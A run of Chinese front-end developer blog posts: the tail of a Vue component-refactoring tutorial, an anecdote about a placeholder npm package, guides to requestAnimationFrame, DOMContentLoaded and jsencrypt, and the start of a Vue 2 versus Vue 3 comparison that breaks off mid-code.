        <li v-for="(step, idx) in item.steps" :key="idx">{{ step }}</li>
      </ol>

      <h3>知识点</h3>
      <ul>
        <li v-for="(kp, idx) in item.knowledge_points" :key="idx">{{ kp }}</li>
      </ul>

      <h3>相似题</h3>
      <p>{{ item.similar_question }}</p>

      <div v-if="regeneratedMap[item.id]" class="regenerated-box">
        <h3>再练一题</h3>
        <p>{{ regeneratedMap[item.id].question }}</p>

        <h3>答案</h3>
        <p>{{ regeneratedMap[item.id].answer }}</p>

        <h3>步骤解析</h3>
        <ol>
          <li v-for="(step, idx) in regeneratedMap[item.id].steps" :key="idx">
            {{ step }}
          </li>
        </ol>
      </div>
    </div>
  </div>
</template>

<script setup lang="ts">
import type { HistoryItem, PracticeQuestionItem } from '../api/math'

defineProps<{
  wrongList: HistoryItem[]
  regenerateLoadingMap: Record<number, boolean>
  regeneratedMap: Record<number, PracticeQuestionItem>
}>()

defineEmits<{
  (e: 'toggle-wrong', item: HistoryItem): void
  (e: 'regenerate', id: number): void
}>()
</script>

<style scoped>
.empty {
  padding: 32px 0;
  text-align: center;
  color: #999;
}

.result-card {
  margin-top: 24px;
  padding: 20px;
  background: #fafafa;
  border-radius: 8px;
}

.card-header {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 12px;
}

.card-actions {
  display: flex;
  gap: 8px;
}

.retry-btn {
  padding: 8px 14px;
  border: none;
  background: #2080f0;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.wrong-btn {
  padding: 8px 14px;
  border: none;
  background: #f0a020;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.regenerated-box {
  margin-top: 16px;
  padding: 16px;
  background: #f0f7ff;
  border-radius: 8px;
}
</style>

6)修改 src/App.vue

直接把 template 部分 替换成下面这个版本:

<template>
  <div class="page">
    <div class="container">
      <h1>AI 数学辅导老师</h1>

      <StudentBar
        v-model:currentStudentId="currentStudentId"
        v-model:newStudentName="newStudentName"
        :student-list="studentList"
        @student-change="handleStudentChange"
        @create-student="handleCreateStudent"
        @export-report="handleExportReport"
      />

      <TabNav
        :active-tab="activeTab"
        @change="handleTabChange"
      />

      <SolvePanel
        v-if="activeTab === 'solve'"
        v-model:question="question"
        v-model:practiceKnowledge="practiceKnowledge"
        :loading="loading"
        :image-loading="imageLoading"
        :result="result"
        :practice-loading="practiceLoading"
        :practice-list="practiceList"
        :regenerate-loading-map="regenerateLoadingMap"
        :regenerated-map="regeneratedMap"
        @submit="handleSubmit"
        @image-change="handleImageChange"
        @toggle-wrong="toggleWrong"
        @regenerate="handleRegenerateQuestion"
        @generate-practice="handleGeneratePractice"
      />

      <HistoryPanel
        v-else-if="activeTab === 'history'"
        :history-list="historyList"
        :regenerate-loading-map="regenerateLoadingMap"
        :regenerated-map="regeneratedMap"
        @toggle-wrong="toggleWrong"
        @regenerate="handleRegenerateQuestion"
      />

      <WrongPanel
        v-else-if="activeTab === 'wrong'"
        :wrong-list="wrongList"
        :regenerate-loading-map="regenerateLoadingMap"
        :regenerated-map="regeneratedMap"
        @toggle-wrong="toggleWrong"
        @regenerate="handleRegenerateQuestion"
      />

      <template v-else-if="activeTab === 'report'">
        <div v-if="reportLoading" class="empty">学习报告加载中...</div>

        <div v-else-if="learningReport" class="report-panel">
          <div class="report-summary">
            <div class="summary-card">
              <div class="summary-label">总题数</div>
              <div class="summary-value">{{ learningReport.total_count }}</div>
            </div>

            <div class="summary-card">
              <div class="summary-label">错题数</div>
              <div class="summary-value">{{ learningReport.wrong_count }}</div>
            </div>

            <div class="summary-card">
              <div class="summary-label">正确数</div>
              <div class="summary-value">{{ learningReport.correct_count }}</div>
            </div>

            <div class="summary-card">
              <div class="summary-label">错题率</div>
              <div class="summary-value">{{ learningReport.wrong_rate }}%</div>
            </div>
          </div>

          <div class="result-card">
            <h2>高频知识点 Top 5</h2>
            <div v-if="learningReport.top_knowledge_points.length === 0" class="empty">
              暂无知识点统计
            </div>
            <ul v-else class="stat-list">
              <li
                v-for="(item, index) in learningReport.top_knowledge_points"
                :key="index"
                class="stat-item"
              >
                <span>{{ item.name }}</span>
                <strong>{{ item.count }}</strong>
              </li>
            </ul>
          </div>

          <div class="result-card">
            <h2>最近练习</h2>
            <div v-if="learningReport.recent_records.length === 0" class="empty">
              暂无记录
            </div>

            <div
              v-for="item in learningReport.recent_records"
              :key="item.id"
              class="recent-item"
            >
              <div class="recent-header">
                <span>题目 #{{ item.id }}</span>
                <span :class="['status-tag', item.is_wrong ? 'wrong' : 'correct']">
                  {{ item.is_wrong ? '错题' : '正常' }}
                </span>
              </div>

              <div class="recent-question">{{ item.question }}</div>

              <div class="recent-kp">
                <span
                  v-for="(kp, idx) in item.knowledge_points"
                  :key="idx"
                  class="kp-tag"
                >
                  {{ kp }}
                </span>
              </div>
            </div>
          </div>
        </div>
      </template>

      <template v-else>
        <div v-if="suggestionLoading" class="empty">学习建议加载中...</div>

        <div v-else-if="studySuggestion" class="report-panel">
          <div class="result-card">
            <h2>整体学习建议</h2>
            <p>{{ studySuggestion.overall_suggestion }}</p>
          </div>

          <div class="result-card">
            <h2>薄弱知识点分析</h2>

            <div v-if="studySuggestion.weak_knowledge_points.length === 0" class="empty">
              暂无薄弱知识点
            </div>

            <div
              v-for="(item, index) in studySuggestion.weak_knowledge_points"
              :key="index"
              class="weak-item"
            >
              <div class="weak-header">
                <strong>{{ item.name }}</strong>
                <span class="weak-rate">错误率 {{ item.wrong_rate }}%</span>
              </div>

              <div class="weak-meta">
                错误 {{ item.wrong_count }} 次 / 共出现 {{ item.total_count }} 次
              </div>

              <div class="weak-suggestion">
                {{ item.suggestion }}
              </div>

              <button
                class="retry-btn"
                @click="handleGenerateWeakPractice(item.name)"
              >
                生成该知识点练习题
              </button>
            </div>
          </div>
        </div>
      </template>
    </div>
  </div>
</template>

7)src/App.vue 的 script 只补充这些 import

在顶部新增:

import StudentBar from './components/StudentBar.vue'
import TabNav from './components/TabNav.vue'
import SolvePanel from './components/SolvePanel.vue'
import HistoryPanel from './components/HistoryPanel.vue'
import WrongPanel from './components/WrongPanel.vue'

8)src/App.vue 的 script 新增两个方法

加到 script setup 里:

const handleTabChange = async (tab: 'solve' | 'history' | 'wrong' | 'report' | 'suggestion') => {
  activeTab.value = tab

  if (tab === 'history') {
    await loadHistory()
  } else if (tab === 'wrong') {
    await loadWrongList()
  } else if (tab === 'report') {
    await loadReport()
  } else if (tab === 'suggestion') {
    await loadStudySuggestion()
  }
}

const handleGenerateWeakPractice = async (knowledgeName: string) => {
  practiceKnowledge.value = knowledgeName
  activeTab.value = 'solve'
  await handleGeneratePractice()
}

9)src/App.vue 的 style 删除这些已拆走的样式

可以从 App.vue 里删掉这些,避免重复:

.student-bar
.student-select,
.student-input
.tabs
.tab-btn
.tab-btn.active
.upload-area
.upload-btn
.file-input
.question-input
.card-header
.card-actions
.retry-btn
.wrong-btn
.practice-panel
.practice-form
.practice-input
.practice-list
.regenerated-box

保留这些全局页面级样式:

.page {
  min-height: 100vh;
  background: #f5f7fa;
  padding: 40px 16px;
}
.container {
  max-width: 900px;
  margin: 0 auto;
  background: #fff;
  padding: 24px;
  border-radius: 12px;
}
.submit-btn {
  margin-top: 16px;
  padding: 10px 18px;
  border: none;
  background: #18a058;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}
.result-card {
  margin-top: 24px;
  padding: 20px;
  background: #fafafa;
  border-radius: 8px;
}
.empty {
  padding: 32px 0;
  text-align: center;
  color: #999;
}
.report-panel {
  margin-top: 24px;
}
.report-summary {
  display: grid;
  grid-template-columns: repeat(4, 1fr);
  gap: 16px;
  margin-bottom: 24px;
}
.summary-card {
  padding: 20px;
  background: #fafafa;
  border-radius: 12px;
  text-align: center;
}
.summary-label {
  color: #666;
  font-size: 14px;
  margin-bottom: 8px;
}
.summary-value {
  font-size: 28px;
  font-weight: 700;
  color: #18a058;
}
.stat-list {
  padding: 0;
  margin: 0;
  list-style: none;
}
.stat-item {
  display: flex;
  justify-content: space-between;
  padding: 12px 0;
  border-bottom: 1px solid #eee;
}
.recent-item {
  padding: 16px 0;
  border-bottom: 1px solid #eee;
}
.recent-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-bottom: 8px;
}
.recent-question {
  margin-bottom: 10px;
  color: #333;
}
.recent-kp {
  display: flex;
  gap: 8px;
  flex-wrap: wrap;
}
.kp-tag {
  display: inline-block;
  padding: 4px 10px;
  background: #f3f3f3;
  border-radius: 999px;
  font-size: 12px;
}
.status-tag {
  display: inline-block;
  padding: 4px 10px;
  border-radius: 999px;
  font-size: 12px;
  color: #fff;
}
.status-tag.wrong {
  background: #d03050;
}
.status-tag.correct {
  background: #18a058;
}
.weak-item {
  padding: 16px 0;
  border-bottom: 1px solid #eee;
}
.weak-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-bottom: 8px;
}
.weak-rate {
  color: #d03050;
  font-weight: 600;
}
.weak-meta {
  color: #666;
  font-size: 14px;
  margin-bottom: 8px;
}
.weak-suggestion {
  margin-bottom: 12px;
  color: #333;
  line-height: 1.7;
}

10)效果

这次拆分完:

  • App.vue 只保留页面编排和状态
  • 学生切换独立
  • tab 独立
  • 解析区独立
  • 历史记录独立
  • 错题本独立

后面再拆:

  • ReportPanel.vue
  • SuggestionPanel.vue

功能都测试一遍 没问题

image.png

image.png

nice !

一个253字节的包,骗了我整个晚上

2026年3月15日 05:18

耗时4小时、尝试20次后,我发现npm上最离谱的包

一个被空壳包诈骗的深夜


2026年3月15日凌晨,我想安装 OpenClaw。

然后经历了人生最荒诞的4小时。


第一步:卡住

npm install -g openclaw

依赖 @whiskeysockets/libsignal-node,需要从 GitHub 下载。

我的网络:❌


第二步:换镜像

npm config set registry https://registry.npmmirror.com

下载成功,安装时:还是去 GitHub。


第三步:force

npm install -g openclaw --force

失败。凌晨3点。


第四步:降级

npm view openclaw versions

好家伙,0.0.1 到 2026.3.13 都有!

npm install -g openclaw@0.0.1

安装成功!


第五步:反转

$ openclaw --help
'openclaw' 不是内部或外部命令

安装目录:

index.js      (21 字节)
package.json  (193 字节)
README.md     (39 字节)
总计:253 字节

0.0.1 是个空壳!


总结

低估 GitHub 依赖的顽固性 使用淘宝镜像
没想到空壳包真的存在 尝试 --omit=optional
熬夜伤身 及时放弃

成功安装的唯一途径

# 1. 连接到能访问 GitHub 的网络

# 2. 执行安装
npm install -g openclaw --omit=optional

# 3. 验证
openclaw --version

😢

有些墙,不是技术能解决的。
有些夜,注定是白熬的。
但至少,我们知道了 0.0.1 是个骗子


本文由一个不愿透露姓名的受害者原创,发布于2026年3月15日凌晨

Web 帧渲染与 DOM 准备

作者 charmson
2026年3月15日 02:26

1. 浏览器渲染流水线概览

浏览器每帧的渲染遵循以下流水线(Pixel Pipeline):

JavaScript → Style → Layout → Paint → Composite
阶段 说明
JavaScript 执行 JS,触发视觉变化(DOM 操作、样式修改等)
Style 计算哪些 CSS 规则应用到哪些元素(样式重算)
Layout 计算元素的几何信息(位置、尺寸)
Paint 填充像素:文字、颜色、图片、边框、阴影等
Composite 将多个绘制层合并送给屏幕

关键原则:跳过越多阶段,性能越好。使用 transform / opacity 只触发 Composite,是最高效的动画属性。


2. requestAnimationFrame 深度解析

2.1 基本概念

requestAnimationFrame(简称 rAF)是浏览器提供的 API,用于在下一帧绘制之前执行回调,与屏幕刷新率同步(通常 60fps = 每帧约 16.67ms)。

与 setTimeout/setInterval 的核心区别:

setTimeout(fn, 16)   ❌ 不精确,受事件循环延迟影响,可能跳帧或过早触发
requestAnimationFrame(fn) ✅ 由浏览器调度,精确对齐屏幕刷新时机

2.2 每帧的生命周期(Frame Lifecycle)

一帧内浏览器的执行顺序(规范定义):

┌──────────────────────────────────────────────────────┐
│                     一帧 (~16.67ms)                   │
│                                                      │
│  1. 处理用户输入事件(input, click, keydown...)      │
│  2. 执行 requestAnimationFrame 回调 ← 你的动画代码    │
│  3. 执行 ResizeObserver 回调                          │
│  4. 执行 IntersectionObserver 回调                    │
│  5. Style(样式计算)                                 │
│  6. Layout(布局)                                    │
│  7. Paint(绘制)                                     │
│  8. Composite(合成)                                 │
│  9. 空闲期:requestIdleCallback 回调(如果有空闲)    │
└──────────────────────────────────────────────────────┘

rAF 回调在 Style 之前执行,因此在回调中修改样式,当帧内立即生效,避免了额外的强制同步布局。

2.3 API 详解

基本用法

// 请求一帧回调,返回一个 id
const id = requestAnimationFrame(callback);

// callback 接收一个 DOMHighResTimeStamp 参数(高精度时间戳)
function callback(timestamp) {
  // timestamp: 从页面加载开始计算的毫秒数(精度可达微秒级)
  console.log(timestamp); // e.g. 1523.456
}

取消回调

const id = requestAnimationFrame(callback);
cancelAnimationFrame(id); // 取消尚未执行的回调

动画循环模式(Animation Loop)

let animationId = null;
let startTime = null;
const duration = 1000; // 动画持续 1 秒

function animate(timestamp) {
  if (!startTime) startTime = timestamp;
  
  const elapsed = timestamp - startTime;
  const progress = Math.min(elapsed / duration, 1); // 0 → 1
  
  // 应用动画
  element.style.transform = `translateX(${progress * 300}px)`;
  
  if (progress < 1) {
    // 继续下一帧
    animationId = requestAnimationFrame(animate);
  } else {
    // 动画结束
    animationId = null;
  }
}

// 启动
animationId = requestAnimationFrame(animate);

// 停止
function stop() {
  if (animationId) {
    cancelAnimationFrame(animationId);
    animationId = null;
  }
}

使用缓动函数(Easing)

// 缓动函数集合
const easing = {
  linear:     t => t,
  easeInOut:  t => t < 0.5 ? 2 * t * t : -1 + (4 - 2 * t) * t,
  easeOut:    t => t * (2 - t),
  easeIn:     t => t * t,
  bounce:     t => {
    if (t < 1 / 2.75) return 7.5625 * t * t;
    if (t < 2 / 2.75) return 7.5625 * (t -= 1.5 / 2.75) * t + 0.75;
    if (t < 2.5 / 2.75) return 7.5625 * (t -= 2.25 / 2.75) * t + 0.9375;
    return 7.5625 * (t -= 2.625 / 2.75) * t + 0.984375;
  }
};

function animateWithEasing(timestamp) {
  if (!startTime) startTime = timestamp;
  const rawProgress = Math.min((timestamp - startTime) / duration, 1);
  const easedProgress = easing.easeInOut(rawProgress);
  
  element.style.opacity = easedProgress;
  
  if (rawProgress < 1) requestAnimationFrame(animateWithEasing);
}

requestAnimationFrame(animateWithEasing);

帧率控制(节流到指定 FPS)

// 将动画限制为 30fps
const targetFPS = 30;
const frameInterval = 1000 / targetFPS;
let lastFrameTime = 0;

function throttledAnimate(timestamp) {
  requestAnimationFrame(throttledAnimate);
  
  if (timestamp - lastFrameTime < frameInterval) return; // 跳过此帧
  
  lastFrameTime = timestamp;
  // 执行动画逻辑...
}

requestAnimationFrame(throttledAnimate);

2.4 最佳实践

✅ 使用 transform 和 opacity 做动画

// ✅ 好 - 只触发 Composite,不触发 Layout
element.style.transform = 'translateX(100px)';
element.style.opacity = '0.5';

// ❌ 差 - 触发 Layout(导致其他元素重排)
element.style.left = '100px';
element.style.width = '200px';

✅ 批量读写 DOM,避免强制同步布局(Layout Thrashing)

// ❌ 强制同步布局(每次写后立即读,迫使浏览器重新 Layout)
function badLoop() {
  for (let i = 0; i < elements.length; i++) {
    elements[i].style.width = elements[i].offsetWidth + 10 + 'px'; // 读触发 Layout,写再触发
  }
}

// ✅ 先批量读,再批量写
function goodLoop() {
  // 先全部读
  const widths = elements.map(el => el.offsetWidth);
  // 再全部写(在 rAF 中)
  requestAnimationFrame(() => {
    elements.forEach((el, i) => {
      el.style.width = widths[i] + 10 + 'px';
    });
  });
}

✅ 页面不可见时暂停动画

document.addEventListener('visibilitychange', () => {
  if (document.hidden) {
    stop(); // 页面进入后台,停止动画(浏览器也会自动暂停 rAF)
  } else {
    start(); // 页面重新可见,恢复动画
  }
});

浏览器在页面不可见时会自动暂停 rAF 回调,但手动管理更安全,可避免恢复时状态错乱。

✅ 封装成可复用的动画工具

/**
 * 通用动画函数
 * @param {number} duration - 持续时间(毫秒)
 * @param {Function} onUpdate - 每帧回调,接收 progress(0~1)
 * @param {Function} easingFn - 缓动函数
 * @returns {{ cancel: Function }} - 返回取消函数
 */
function animate({ duration, onUpdate, easingFn = t => t, onComplete }) {
  let startTime = null;
  let id = null;

  function frame(timestamp) {
    if (!startTime) startTime = timestamp;
    const raw = Math.min((timestamp - startTime) / duration, 1);
    onUpdate(easingFn(raw));
    
    if (raw < 1) {
      id = requestAnimationFrame(frame);
    } else {
      onComplete?.();
    }
  }

  id = requestAnimationFrame(frame);
  return { cancel: () => cancelAnimationFrame(id) };
}

// 使用示例
const { cancel } = animate({
  duration: 500,
  easingFn: t => t * (2 - t),
  onUpdate: progress => {
    box.style.transform = `translateY(${(1 - progress) * -50}px)`;
    box.style.opacity = progress;
  },
  onComplete: () => console.log('动画完成'),
});

2.5 常见陷阱

陷阱 问题 解决方案
忘记取消 rAF 组件卸载后仍在执行,内存泄漏 在清理逻辑中调用 cancelAnimationFrame
在 rAF 外读取 DOM 触发强制同步布局 在 rAF 回调内统一读写
每帧都调用 new 垃圾回收压力大,导致卡顿 复用对象,避免在热路径分配内存
在 rAF 中执行大量计算 超出 16ms 帧预算,掉帧 拆分任务,耗时操作用 requestIdleCallback
多个独立 rAF 循环 难以协调,浪费 合并到单一主循环中

3. DOMContentLoaded 深度解析

3.1 基本概念

DOMContentLoaded 事件在 HTML 文档被完全解析、DOM 树构建完毕后触发,无需等待样式表、图片、子框架等外部资源加载完成。

document.addEventListener('DOMContentLoaded', () => {
  // DOM 已就绪,可以安全操作元素
  const title = document.getElementById('title');
  title.textContent = '页面已准备好!';
});

3.2 与 load 事件的区别

HTML 开始解析
     │
     ▼
DOM 树构建完毕 ──► 🔥 DOMContentLoaded 触发
     │
     ▼ (继续加载外部资源:CSS, 图片, 字体, iframe...)
     │
     ▼
所有资源加载完毕 ──► 🔥 load 触发(window.onload
事件 触发时机 适用场景
DOMContentLoaded DOM 解析完成 操作 DOM、绑定事件、初始化 JS 逻辑
load 所有资源(图片等)加载完毕 需要获取图片尺寸、完全渲染后的操作
readystatechange loadinginteractivecomplete 更细粒度的加载状态监听

3.3 触发时机与阻塞因素

HTML 解析流程

下载 HTML
    │
    ▼
解析 HTML 逐行构建 DOM
    │
    ├──► 遇到 <link rel="stylesheet">
    │         │
    │         ▼ 下载并解析 CSS(CSSOM 构建)
    │         │  ⚠️ 如果 CSS 后面有 <script>,脚本等待 CSSOM 完成(阻塞)
    │
    ├──► 遇到 <script>(无 async/defer)
    │         │
    │         ▼ 暂停 HTML 解析,下载并执行脚本
    │         (⚠️ 这是传统的"渲染阻塞"根源)
    │
    ├──► 遇到 <script async>
    │         ▼ 异步下载,下载完立即执行(不保证顺序)
    │
    ├──► 遇到 <script defer>
    │         ▼ 异步下载,DOM 解析完成后、DOMContentLoaded 前执行
    │
    ▼
DOM 解析完成
    │
    ├──► 执行所有 defer 脚本(按顺序)
    │
    ▼
🔥 DOMContentLoaded 触发

各类 script 加载方式对比

<!-- ❌ 传统方式:阻塞解析,性能最差(除非有意为之) -->
<script src="app.js"></script>

<!-- ✅ defer:异步下载,DOM 解析完才执行,保证顺序,推荐 -->
<script src="app.js" defer></script>

<!-- ⚠️ async:异步下载,下载完立即执行,不保证顺序,适合独立脚本 -->
<script src="analytics.js" async></script>

<!-- ✅ 模块脚本默认 defer 行为 -->
<script type="module" src="app.js"></script>

最佳实践:对大多数脚本使用 defer;独立的第三方统计脚本(如 GA)使用 async

3.4 最佳实践

✅ 基本用法:安全操作 DOM

// 方式一:标准事件监听(推荐)
document.addEventListener('DOMContentLoaded', init);

function init() {
  // 此时可安全操作任何 DOM 元素
  document.querySelectorAll('.btn').forEach(btn => {
    btn.addEventListener('click', handleClick);
  });
}

// 方式二:检查当前状态(适合脚本可能在 DOM 就绪后才执行的情况)
function domReady(fn) {
  if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', fn);
  } else {
    // 已经解析完毕(脚本是 defer/async 或动态插入的)
    fn();
  }
}

domReady(() => {
  console.log('DOM 已就绪');
});

✅ readyState 完整状态机

console.log(document.readyState);
// "loading"     - HTML 正在解析
// "interactive" - DOM 解析完成(等同于 DOMContentLoaded 时机)
// "complete"    - 所有资源加载完毕(等同于 load 时机)

document.addEventListener('readystatechange', () => {
  if (document.readyState === 'interactive') {
    console.log('DOM 就绪(interactive)');
  }
  if (document.readyState === 'complete') {
    console.log('所有资源加载完毕(complete)');
  }
});

✅ 结合 Promise 封装

// 将 DOMContentLoaded 封装为 Promise,方便 async/await 使用
function waitForDOM() {
  return new Promise(resolve => {
    if (document.readyState !== 'loading') {
      resolve();
    } else {
      document.addEventListener('DOMContentLoaded', resolve, { once: true });
    }
  });
}

// 使用示例
async function main() {
  await waitForDOM();
  console.log('DOM 就绪,开始初始化...');
  initApp();
}

main();

✅ 在现代模块化项目中的位置

<!-- 现代推荐:脚本放 <head> 并加 defer,无需手动监听 DOMContentLoaded -->
<head>
  <script type="module" src="main.js" defer></script>
</head>
<body>
  <!-- 内容 -->
</body>
// main.js(defer 脚本在 DOM 就绪后执行,无需监听事件)
// 直接操作 DOM 即可
document.getElementById('app').textContent = 'Hello World';

4. 两者协同使用的场景

场景一:DOM 就绪后立即启动动画

document.addEventListener('DOMContentLoaded', () => {
  const el = document.getElementById('hero');
  
  // DOM 就绪后,用 rAF 启动入场动画
  requestAnimationFrame(() => {
    // 确保浏览器已完成初始渲染,再添加动画类
    el.classList.add('animate-in');
  });
});

场景二:首帧精确测量后再动画

document.addEventListener('DOMContentLoaded', () => {
  const box = document.querySelector('.box');
  
  // 第一个 rAF:让浏览器先完成初始布局
  requestAnimationFrame(() => {
    // 第二个 rAF:此时读取布局数据是安全且准确的
    requestAnimationFrame(() => {
      const rect = box.getBoundingClientRect();
      console.log('元素位置:', rect);
      startAnimation(rect);
    });
  });
});

双重 rAF 技巧:第一个 rAF 确保样式被应用,第二个 rAF 确保布局已经完成,常用于触发 CSS Transition。

场景三:懒加载 + 平滑动画

document.addEventListener('DOMContentLoaded', () => {
  const observer = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
      if (entry.isIntersecting) {
        // 元素进入视口时,用 rAF 开始动画
        requestAnimationFrame(() => {
          entry.target.classList.add('visible');
        });
        observer.unobserve(entry.target);
      }
    });
  });
  
  document.querySelectorAll('.fade-in').forEach(el => observer.observe(el));
});

场景四:页面加载进度条

// 利用 readystatechange + rAF 实现加载进度条
const progressBar = document.createElement('div');
progressBar.id = 'progress-bar';
document.body.prepend(progressBar);

let progress = 0;

function updateProgress(target) {
  const step = () => {
    if (progress < target) {
      progress = Math.min(progress + 2, target);
      progressBar.style.width = progress + '%';
      if (progress < target) requestAnimationFrame(step);
    }
  };
  requestAnimationFrame(step);
}

document.addEventListener('readystatechange', () => {
  if (document.readyState === 'interactive') updateProgress(70);
  if (document.readyState === 'complete') updateProgress(100);
});

5. 性能优化总结

rAF 性能清单

  • 使用 transformopacity 而非触发布局的属性
  • 在回调内批量读取,批量写入,避免交错读写
  • 使用 timestamp 参数计算进度,而非帧计数(帧率可能变化)
  • 组件卸载时调用 cancelAnimationFrame
  • 监听 visibilitychange 在后台暂停动画
  • 耗时逻辑移到 Web Worker,rAF 只做渲染
  • 开启 will-change: transform 提示浏览器提升图层(慎用,有内存成本)

DOMContentLoaded 性能清单

  • 主脚本使用 defer 属性,避免阻塞解析
  • 第三方独立脚本(统计、广告)使用 async
  • 内联关键 CSS,外部非关键 CSS 异步加载
  • 避免在 <head> 中放置无 async/defer 的脚本
  • 检查 readyState 以兼容脚本执行时机不确定的情况
  • 使用 { once: true } 选项自动移除一次性事件监听器
// ✅ 好习惯:once 选项,避免手动 removeEventListener
document.addEventListener('DOMContentLoaded', init, { once: true });

参考规范

前端安全护航者:三分钟带你了解 jsencrypt

作者 whisper
2026年3月14日 23:35

在开发 Web 应用(如登录注册、支付、敏感信息提交)时,我们经常面临一个核心挑战:如何保证用户输入的密码或私钥,在从浏览器传送到服务器的路上不被拦截窃取?

虽然 HTTPS 已经加密了传输链路,但在追求极致安全的场景下,我们还需要对“数据本身”进行加密。这时,jsencrypt 库就成了前端开发者的首选。


1. 什么是 jsencrypt?

jsencrypt 是一个轻量级的 JavaScript 库,它封装了 RSA 非对称加密算法

核心概念:非对称加密

想象一个带锁的保险箱:

  • 公钥(Public Key) :相当于一把只能锁门、不能开门的钥匙。你可以把它发给任何人。
  • 私钥(Private Key) :相当于唯一一把能开门的钥匙。必须由服务器严格保管,绝不能发给前端。

jsencrypt 的角色就是:在前端利用这把“只能锁门的公钥”,将用户的敏感信息锁进“保险箱”。


2. 这个库有什么作用?

它的主要作用是在前端进行数据加密。即使请求被黑客截获,黑客看到的也只是一串毫无意义的乱码。由于黑客没有服务器上的私钥,他几乎无法在有生之年破解这段信息。


3. 常见的应用场景

  • 登录密码加密:用户在输入框输入 123456,点击登录前,jsencrypt 将其转换成长达数百位的密文,后端解密后再进行校验。
  • 敏感字段脱敏:如身份证号、银行卡号上报时,在前端直接加密。
  • API 验签:在请求头中加入加密后的签名,防止请求被恶意篡改。

4. 如何使用?

使用 jsencrypt 非常简单,主要分为三个步骤:

第一步:安装/引入

你可以通过 npm 安装,也可以直接引入 CDN 链接:

HTML

<script src="https://cdn.bootcdn.net/ajax/libs/jsencrypt/3.3.2/jsencrypt.min.js"></script>

第二步:准备公钥

公钥通常是由后端生成的(通常是 .pem 格式的字符串)。

第三步:加密数据

JavaScript

// 1. 实例化加密对象
const encrypt = new JSEncrypt();

// 2. 设置公钥(这串字符来自后端)
const publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC...
-----END PUBLIC KEY-----`;
encrypt.setPublicKey(publicKey);

// 3. 开始加密
const secretData = "这里是我的敏感信息";
const encrypted = encrypt.encrypt(secretData);

if (encrypted) {
    console.log("加密成功,密文如下:");
    console.log(encrypted); 
    // 将这个 encrypted 变量通过 Ajax 发送给后端
} else {
    console.error("加密失败,请检查公钥格式");
}

5. 进阶Tips:注意事项

  1. 加密长度限制: RSA 算法不适合加密“大文件”。根据密钥长度(如 1024 或 2048 位),它每次只能加密几十到几百个字节。请只用它处理密码、Token 等短文本。
  2. 安全性建议: 不要在前端进行解密操作。如果前端放了私钥,那加密就失去了意义(因为任何人查看源码都能拿到私钥)。
  3. 配合 HTTPSjsencrypt 是给安全加了一层“保险”,但它不能替代 HTTPS。两者结合才是现代 Web 应用的标准配置。

6. 总结

jsencrypt 是一个“小而美”的工具。它不需要你精通复杂的数学原理,只需简单的 API 调用,就能为你的应用插上安全的翅膀。如果你正在处理用户隐私数据,它绝对是你的工具箱里不可或缺的一员。

Vue 2 vs Vue 3:全面对比指南

作者 LQE
2026年3月14日 23:21

Vue 2 vs Vue 3:全面对比指南

前言:Vue 3 已经发布一段时间了,很多开发者在考虑是否要升级。本文将从多个维度详细对比 Vue 2 和 Vue 3,帮助你做出最佳选择。


📌 目录

  1. 核心概念差异
  2. 响应式系统革新
  3. 组件系统升级
  4. 生命周期钩子变化
  5. Composition API vs Options API
  6. 性能提升对比
  7. TypeScript 支持
  8. 全局 API 变更
  9. 迁移策略建议
  10. 生态系统对比

1. 核心概念差异

1.1 创建 Vue 实例的方式

Vue 2 写法:

const app = new Vue({
  el: '#app',
  data: {
    message: 'Hello Vue!'
  }
});

Vue 3 写法:

import { createApp } from 'vue';

const app = createApp({
  data() {
    return {
      message: 'Hello Vue 3!'
    }
  }
});

app.mount('#app');

关键变化:

  • new Vue() → ✅ createApp()
  • el 选项 → ✅ mount() 方法
  • 支持多个应用实例(微前端友好)

1.2 两种 API 风格

Vue 3 保留了 Options API(兼容 Vue 2),同时引入了强大的 Composition API

// Composition API 示例
import { ref, reactive, computed } from 'vue';

setup() {
  const message = ref('Hello');
  const state = reactive({ count: 0 });
  const doubled = computed(() => state.count * 2);
  
  return { message, state, doubled };
}

2. 响应式系统革新

2.1 实现原理对比

Vue 2:Object.defineProperty(2015 年的技术)

// 存在的问题
const obj = { a: 1 };
obj.b = 2;  // ❌ 不会触发视图更新
delete obj.a;  // ❌ 不会触发视图更新

// 需要使用特殊 API
Vue.set(obj, 'b', 2);  // ✅
Vue.delete(obj, 'a');  // ✅

Vue 3:Proxy(ES6 新特性)

import { reactive } from 'vue';

const obj = reactive({ a: 1 });
obj.b = 2;   // ✅ 自动追踪
delete obj.a;  // ✅ 自动追踪

2.2 响应式 API

// ref - 用于基本类型
const count = ref(0);
count.value++;  // 需要 .value 访问

// reactive - 用于对象/数组
const state = reactive({ count: 0, list: [] });
state.count++;  // 直接访问

💡 个人建议: 优先使用 ref,统一使用 .value 访问,代码更一致。


3. 组件系统升级

3.1 组件定义方式

Vue 2:

Vue.component('todo-item', {
  props: ['title'],
  template: '<div>{{ title }}</div>'
});

Vue 3:

import { defineComponent } from 'vue';

export default defineComponent({
  props: {
    title: {
      type: String,
      required: true
    }
  },
  emits: ['update'],  // 新增 emits 声明
  setup(props, { emit }) {
    return {};
  }
});

3.2 重大改进

多根节点支持(Fragments)

<!-- Vue 3 支持 -->
<template>
  <header>...</header>
  <main>...</main>
  <footer>...</footer>
</template>

Teleport(传送门)

<teleport to="#modal">
  <div class="modal">内容</div>
</teleport>

Suspense(异步组件加载)

<suspense>
  <template #default>
    <async-component />
  </template>
  <template #fallback>
    <div>加载中...</div>
  </template>
</suspense>

4. 生命周期钩子变化

4.1 钩子函数对照表

Vue 2 Vue 3 (Options) Vue 3 (Composition) 说明
beforeCreate beforeCreate setup() 初始化
created created setup() 创建完成
beforeMount beforeMount onBeforeMount 挂载前
mounted mounted onMounted 挂载完成
beforeUpdate beforeUpdate onBeforeUpdate 更新前
updated updated onUpdated 更新后
beforeDestroy beforeUnmount onBeforeUnmount ⚠️ 改名
destroyed unmounted onUnmounted ⚠️ 改名

4.2 Composition API 生命周期示例

import { 
  onMounted, 
